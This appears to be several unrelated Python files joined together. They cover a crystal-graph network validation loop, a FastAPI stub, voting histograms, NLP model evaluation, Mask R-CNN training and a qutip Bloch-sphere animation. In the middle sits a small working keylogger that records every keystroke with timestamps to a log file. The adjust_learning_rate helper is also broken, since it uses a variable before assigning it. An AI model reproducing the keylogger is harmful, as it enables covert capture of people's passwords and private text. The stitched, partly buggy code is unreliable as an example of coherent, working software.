    end = time.time()
    for i, (input, target, batch_cif_ids) in enumerate(val_loader):
        if cuda:
            with torch.no_grad():
                input_var = (Variable(input[0].cuda(non_blocking=True)),
                             Variable(input[1].cuda(non_blocking=True)),
                             input[2].cuda(non_blocking=True),
                             [crys_idx.cuda(non_blocking=True) for crys_idx in input[3]])
        else:
            with torch.no_grad():
                input_var = (Variable(input[0]),
                             Variable(input[1]),
                             input[2],
                             input[3])
        if task == 'regression':
            target_normed = normalizer.norm(target)
        else:
            target_normed = target.view(-1).long()
        if cuda:
            with torch.no_grad():
                target_var = Variable(target_normed.cuda(non_blocking=True))
        else:
            with torch.no_grad():
                target_var = Variable(target_normed)

        # compute output
        output = model(*input_var)
        loss = criterion(output, target_var)

        # measure accuracy and record loss
        if task == 'regression':
            mae_error = mae(normalizer.denorm(output.data.cpu()), target)
            losses.update(loss.data.cpu().item(), target.size(0))
            mae_errors.update(mae_error, target.size(0))
            if test:
                test_pred = normalizer.denorm(output.data.cpu())
                test_target = target
                test_preds += test_pred.view(-1).tolist()
                test_targets += test_target.view(-1).tolist()
                test_cif_ids += batch_cif_ids
        else:
            accuracy, precision, recall, fscore, auc_score = \
                class_eval(output.data.cpu(), target)
            losses.update(loss.data.cpu().item(), target.size(0))
            accuracies.update(accuracy, target.size(0))
            precisions.update(precision, target.size(0))
            recalls.update(recall, target.size(0))
            fscores.update(fscore, target.size(0))
            auc_scores.update(auc_score, target.size(0))
            if test:
                test_pred = torch.exp(output.data.cpu())
                test_target = target
                assert test_pred.shape[1] == 2
                test_preds += test_pred[:, 1].tolist()
                test_targets += test_target.view(-1).tolist()
                test_cif_ids += batch_cif_ids

        # measure elapsed time
        batch_time.update(time.time() - end)
        end = time.time()

        if i % print_freq == 0:
            if task == 'regression':
                print('Test: [{0}/{1}]\t'
                      'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
                      'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
                      'MAE {mae_errors.val:.3f} ({mae_errors.avg:.3f})'.format(
                    i, len(val_loader), batch_time=batch_time, loss=losses,
                    mae_errors=mae_errors))
            else:
                print('Test: [{0}/{1}]\t'
                      'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
                      'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
                      'Accu {accu.val:.3f} ({accu.avg:.3f})\t'
                      'Precision {prec.val:.3f} ({prec.avg:.3f})\t'
                      'Recall {recall.val:.3f} ({recall.avg:.3f})\t'
                      'F1 {f1.val:.3f} ({f1.avg:.3f})\t'
                      'AUC {auc.val:.3f} ({auc.avg:.3f})'.format(
                    i, len(val_loader), batch_time=batch_time, loss=losses,
                    accu=accuracies, prec=precisions, recall=recalls,
                    f1=fscores, auc=auc_scores))

    if test:
        star_label = '**'
        import csv
        with open('test_results.csv', 'w') as f:
            writer = csv.writer(f)
            for cif_id, target, pred in zip(test_cif_ids, test_targets,
                                            test_preds):
                writer.writerow((cif_id, target, pred))
    else:
        star_label = '*'
    if task == 'regression':
        print(' {star} MAE {mae_errors.avg:.3f}'.format(star=star_label,
                                                        mae_errors=mae_errors))
        return mae_errors.avg
    else:
        print(' {star} AUC {auc.avg:.3f}'.format(star=star_label,
                                                 auc=auc_scores))
        return auc_scores.avg

class Normalizer(object):
    """Normalize a Tensor and restore it later. """

    def __init__(self, tensor):
        """tensor is taken as a sample to calculate the mean and std"""
        self.mean = torch.mean(tensor)
        self.std = torch.std(tensor)

    def norm(self, tensor):
        return (tensor - self.mean) / self.std

    def denorm(self, normed_tensor):
        return normed_tensor * self.std + self.mean

    def state_dict(self):
        return {'mean': self.mean,
                'std': self.std}

    def load_state_dict(self, state_dict):
        self.mean = state_dict['mean']
        self.std = state_dict['std']

def mae(prediction, target):
    """
    Computes the mean absolute error between prediction and target

    Parameters
    ----------

    prediction: torch.Tensor (N, 1)
    target: torch.Tensor (N, 1)
    """
    return torch.mean(torch.abs(target - prediction))

def class_eval(prediction, target):
    prediction = np.exp(prediction.numpy())
    target = target.numpy()
    pred_label = np.argmax(prediction, axis=1)
    target_label = np.squeeze(target)
    if not target_label.shape:
        target_label = np.asarray([target_label])
    if prediction.shape[1] == 2:
        precision, recall, fscore, _ = metrics.precision_recall_fscore_support(
            target_label, pred_label, average='binary')
        auc_score = metrics.roc_auc_score(target_label, prediction[:, 1])
        accuracy = metrics.accuracy_score(target_label, pred_label)
    else:
        raise NotImplementedError
    return accuracy, precision, recall, fscore, auc_score

class AverageMeter(object):
    """Computes and stores the average and current value"""

    def __init__(self):
        self.reset()

    def reset(self):
        self.val = 0
        self.avg = 0
        self.sum = 0
        self.count = 0

    def update(self, val, n=1):
        self.val = val
        self.sum += val * n
        self.count += n
        self.avg = self.sum / self.count

def save_checkpoint(state, is_best, filename='checkpoint.pth.tar'):
    torch.save(state, filename)
    if is_best:
        shutil.copyfile(filename, 'model_best.pth.tar')

def adjust_learning_rate(optimizer, epoch, k):
    """Sets the learning rate to the initial LR decayed by 10 every k epochs"""
    assert type(k) is int
    lr = lr * (0.1 ** (epoch // k))
    for param_group in optimizer.param_groups:
        param_group['lr'] = lr


"""The main file for the application"""
from fastapi import FastAPI

app = FastAPI(title="Blog Application",
              description="This is a blog application", version="0.1.0")

@app.get("/")
async def root() -> dict[str, str]:
    """The root endpoint for the application

    Returns:
        dict[str, str]: The root endpoint message
    """
    return {"message": "Hello World"}


import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
import os
import pickle

distributions = pickle.load(open("distributions.pkl", "rb"))

infoDist = [[0.25, 0.25, 0.25, 0.25],
            [0.233, 0.233, 0.3, 0.233],
            [0.217, 0.217, 0.35, 0.217],
            [0.2, 0.2, 0.4, 0.2],
            [0.183, 0.183, 0.45, 0.183],
            [0.233, 0.3, 0.233, 0.233],
            [0.217, 0.35, 0.217, 0.217],
            [0.2, 0.4, 0.2, 0.2],
            [0.183, 0.45, 0.183, 0.183]
            ]

for i in range(len(distributions)) :
    plt.figure(i)
    plt.xlim(0.1, 0.8)
    plt.ylim(0, 180000)
    plt.title("Distribution of Voting Probabilites \n Information Distribution = " + str(infoDist[i]))
    plt.xlabel("Probability of Voting for Candidate A")
    plt.ylabel("Number of Voters")
    plt.hist(distributions[i],50)
    plt.savefig("run" + str(i+1) + "_V2_distributionPlot.png")


from pynput.keyboard import Listener
from time import ctime
from time import ctime
def wtf(key):
	ctr=0
	a=ctime()
	a=str(a)
	a+='\n'
	keydata=str(key)
	keydata=keydata.replace("'","")
	if keydata=='key.enter':
		keydata="\n"
		ctr=1

	else:
		pass
	if ctr==1:
		with open("log.txt",'a') as f:
			f.write(keydata)
			f.write(a)
	else:
		with open("log.txt",'a') as f:
			f.write(keydata)
	ctr=0
with Listener(on_press=wtf) as l:
		l.join()


import run
import torch
import plot
import numpy as np
from collections import defaultdict

sent_len_label = (
    lambda i, ds: f"{run.SENT_LENGTH_BREAKPOINTS[i]} <= len < {run.SENT_LENGTH_BREAKPOINTS[i+1]}   (# samples: {len(ds[i])})"
)
sent_dataset_name2data = {
    sent_len_label(i, run.test_data_binned): (
        run.dev_data_binned[i],
        run.test_data_binned[i],
    )
    for i in range(len(run.dev_data_binned))
}

def eval_model(name, seed2model, test_data):
    test_accs = []
    for seed in ["0", "42", "420"]:
        torch.manual_seed(seed)
        criterion = torch.nn.CrossEntropyLoss()
        prep_fn = (
            run.prepare_treelstm_minibatch
            if "tree_lstm" in name
            else run.prepare_minibatch
        )
        model = seed2model[seed]
        test_loss, _, _, test_acc = run.evaluate(
            model,
            test_data,
            loss_fn=criterion,
            batch_size=run.BATCH_SIZE,
            batch_fn=run.get_minibatch,
            prep_fn=prep_fn,
        )
        test_accs.append(test_acc)
    return np.mean(test_accs), np.std(test_accs)

def load_model(init_fn, name, seed):
    results_fpath = str(run.MODELS_DIR / f"{name}_{seed}.pt")
    model = init_fn()
    model.load_state_dict(
        torch.load(results_fpath, map_location=run.device)["state_dict"]
    )
    return model

def load_seed2model(init_fn, name):
    seed2model = {
        seed: load_model(init_fn, name, seed) for seed in ["0", "42", "420"]
    }
    return seed2model

def get_dataset2model2res(
    dataset_name2data, model_whitelist=None, only_eval_own_dataset=False
):
    dataset2model2res = defaultdict(lambda: defaultdict(lambda: dict()))

    for (
        name,
        model_init_and_datasets,
    ) in run.name2model_init_and_datasets.items():
        if model_whitelist is not None:
            if name not in model_whitelist:
                continue
        print(f"evaluating {name}")
        model_init_fn, own_dataset_name = model_init_and_datasets
        seed2model = load_seed2model(model_init_fn, name)
        for dataset_name, data in run.dataset_name2data.items():
            if only_eval_own_dataset:
                if not dataset_name == own_dataset_name:
                    continue
            _, _, test_data = data
            test_acc, test_std = eval_model(name, seed2model, test_data)
            dataset2model2res[dataset_name][name] = (test_acc, test_std)
    return dataset2model2res

def plot_sent_lengths(dataset2model2res):
    model2dataset2res = defaultdict(lambda: defaultdict(lambda: dict()))
    for dataset, model2res in dataset2model2res.items():
        for model, res in model2res.items():
            model2dataset2res[model][dataset] = res
    plot.bars(
        model2dataset2res,
        "sentence_length_results",
        ylim=(0.3, 0.6),
        plot_baseline=False,
    )

"""
usage:
get evaluation results with

```
import run # make sure to set correct EXPERIMENT before importing
import utils
import evaluate
import plot
dataset_name2data = run.dataset_name2data # or evaluate.sent_dataset_name2data
fname = 'tree_lstm_intermittent_supervision_plot'
dataset2model2res = evaluate.get_dataset2model2res(dataset_name2data)
print(utils.defaultdict2dict(dataset2model2res))
plot.bars(dataset2model2res, fname)
```
"""


#!/usr/bin/env python
# coding: utf-8

# In[2]:

import warnings
warnings.filterwarnings('ignore')
import os
import sys
import json
import datetime
import numpy as np
import skimage.draw
import cv2
import random
import math
import re
import time
import tensorflow as tf
import matplotlib.pyplot as plt
import matplotlib.patches as patches
import matplotlib.image as mpimg

os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
from mrcnn import utils
from mrcnn import visualize
from mrcnn.visualize import display_images
from mrcnn.visualize import display_instances
import mrcnn.model as modellib
from mrcnn.model import log
from mrcnn.config import Config
from mrcnn import model as modellib, utils

#import custom

# Root directory of the project
ROOT_DIR = "/users/pgrad/saxenac/Downloads"

DEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, "logs")

MODEL_DIR = os.path.join(ROOT_DIR, "logs")

WEIGHTS_PATH = "/users/pgrad/saxenac/Downloads/mask_rcnn_coco.h5"

# In[5]:

class CustomConfig(Config):
    """Configuration for training on the custom  dataset.
    Derives from the base Config class and overrides some values.
    """
    # Give the configuration a recognizable name
    NAME = "object"

    IMAGES_PER_GPU = 1

    NUM_CLASSES = 1 + 3  # Background + Car and truck

    # Number of training steps per epoch
    STEPS_PER_EPOCH = 10

    # Skip detections with < 90% confidence
    DETECTION_MIN_CONFIDENCE = 0.9

# In[22]:

class CustomDataset(utils.Dataset):

    def load_custom(self, dataset_dir, subset):

        self.add_class("object", 1, "0")
        self.add_class("object", 2, "1")
        self.add_class("object", 3, "2")

        assert subset in ["train", "val"]
        dataset_dir = os.path.join(dataset_dir, subset)
        annotations1 = json.load(open('/users/pgrad/saxenac/Downloads/via_project_9Jan2023_0h19m_json.json'))

        annotations = list(annotations1.values())  # don't need the dict keys

        annotations = [a for a in annotations if a['regions']]

        # Add images
        for a in annotations:

            polygons = [r['shape_attributes'] for r in a['regions']]
            objects = [s['region_attributes']['name'] for s in a['regions']]
            print("objects:",objects)
            name_dict = {"0": 0,"1": 1,"2": 2}
            num_ids = [name_dict[a] for a in objects]

            print("numids",num_ids)
            image_path = os.path.join(dataset_dir, a['filename'])
            image = skimage.io.imread(image_path)
            height, width = image.shape[:2]
            self.add_image(
                "object",
                image_id=a['filename'],  # use file name as a unique image id
                path=image_path,
                width=width, height=height,
                polygons=polygons,
                num_ids=num_ids
                )

    def load_mask(self, image_id):

        image_info = self.image_info[image_id]
        if image_info["source"] != "object":
            return super(self.__class__, self).load_mask(image_id)

        info = self.image_info[image_id]
        if info["source"] != "object":
            return super(self.__class__, self).load_mask(image_id)
        num_ids = info['num_ids']
        mask = np.zeros([info["height"], info["width"], len(info["polygons"])],
                        dtype=np.uint8)
        for i, p in enumerate(info["polygons"]):

        	rr, cc = skimage.draw.polygon(p['all_points_y'], p['all_points_x'])

        	mask[rr, cc, i] = 1

        num_ids = np.array(num_ids, dtype=np.int32)
        return mask, num_ids #np.ones([mask.shape[-1]], dtype=np.int32)

    def image_reference(self, image_id):
        """Return the path of the image."""
        info = self.image_info[image_id]
        if info["source"] == "object":
            return info["path"]
        else:
            super(self.__class__, self).image_reference(image_id)

# In[23]:

# cd = CustomDataset()
# cd.load_custom('/users/pgrad/saxenac/Downloads/',"train")

# In[24]:

# image_ids = [-1,-2,-3]
# for image_id in image_ids:
#     image = cd.load_image(image_id)
# #     print(cd.load_mask(image_id))
#     mask, class_ids = cd.load_mask(image_id)
#     visualize.display_top_masks(image, mask, class_ids,['unripe','pripe','ripe',])

# In[25]:

def train(model):
    """Train the model."""
    # Training dataset.
    dataset_train = CustomDataset()
    dataset_train.load_custom('/users/pgrad/saxenac/Downloads/',"train")
    dataset_train.prepare()

    # Validation dataset
    dataset_val = CustomDataset()
    dataset_val.load_custom('/users/pgrad/saxenac/Downloads/',"val")
    dataset_val.prepare()

    # *** This training schedule is an example. Update to your needs ***
    # Since we're using a very small dataset, and starting from
    # COCO trained weights, we don't need to train too long. Also,
    # no need to train all layers, just the heads should do it.
    print("Training network heads")
    model.train(dataset_train, dataset_val,
                learning_rate=config.LEARNING_RATE,
                epochs=5,
                layers='heads')

# In[ ]:

config = CustomConfig()
model = modellib.MaskRCNN(mode="training", config=config,
                                  model_dir=DEFAULT_LOGS_DIR)

model.load_weights(WEIGHTS_PATH, by_name=True, exclude=[
            "mrcnn_class_logits", "mrcnn_bbox_fc",
            "mrcnn_bbox", "mrcnn_mask"])

train(model)

# In[ ]:


import qutip as qt
import numpy as np
import matplotlib.animation as animation
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

fig = plt.figure()
ax = Axes3D(fig, azim=-40, elev=30)
sphere = qt.Bloch(axes=ax)

n_qbits = 8
ts = 200
T2 = 150

sx = np.zeros((n_qbits, ts))
sy = np.zeros((n_qbits, ts))
sz = np.zeros((n_qbits, ts))

w = 0.2*np.random.rand(n_qbits)

for t in range(ts):
    for i in range(n_qbits):
        sx[i, t] = np.exp(-t/T2)*np.cos(w[i]*t)
        # print(sx[i, t])
        sy[i, t] = np.exp(-t/T2)*np.sin(w[i]*t)
        sz[i, t] = 0

def animate(i):
    sphere.clear()
    # sphere.add_vectors([[sx[i], sy[i], sz[i]], [sx[i], 0, 0]])
    vec_tot = [0, 0, 0]
    vec = []
    for n in range(n_qbits):
        vec.append([sx[n, i], sy[n, i], sz[n, i]])
        vec_tot[0] += sx[n, i]
        vec_tot[1] += sy[n, i]
        vec_tot[2] += sz[n, i]
    vec_tot[0] = vec_tot[0]/n_qbits
    vec_tot[1] = vec_tot[1]/n_qbits
    vec_tot[2] = vec_tot[2]/n_qbits
    # print(vec)
    sphere.vector_color = ['blueviolet']
    sphere.vector_width = 2
    sphere.add_vectors(vec)
    sphere.vector_color = ['indigo']
    sphere.vector_width = 7
    sphere.add_vectors(vec_tot)
    # sphere.add_points([sx[:i+1], sy[:i+1], sz[:i+1]])
    sphere.make_sphere()
    return ax

def init():
    sphere.zlabel = ["|0><0|", "|1><1|"]
    sphere.point_size = [20]
    sphere.point_color = ['blueviolet']
    sphere.point_marker = ['o']
    sphere.view = [-40, 30]

    return ax

ani = animation.FuncAnimation(fig, animate, np.arange(len(sx[0, :])),
                              init_func=init, repeat=False)
# ani.save('T2_with_proy.mp4', fps=20)
ani.save('T2_multi.mp4', fps=20)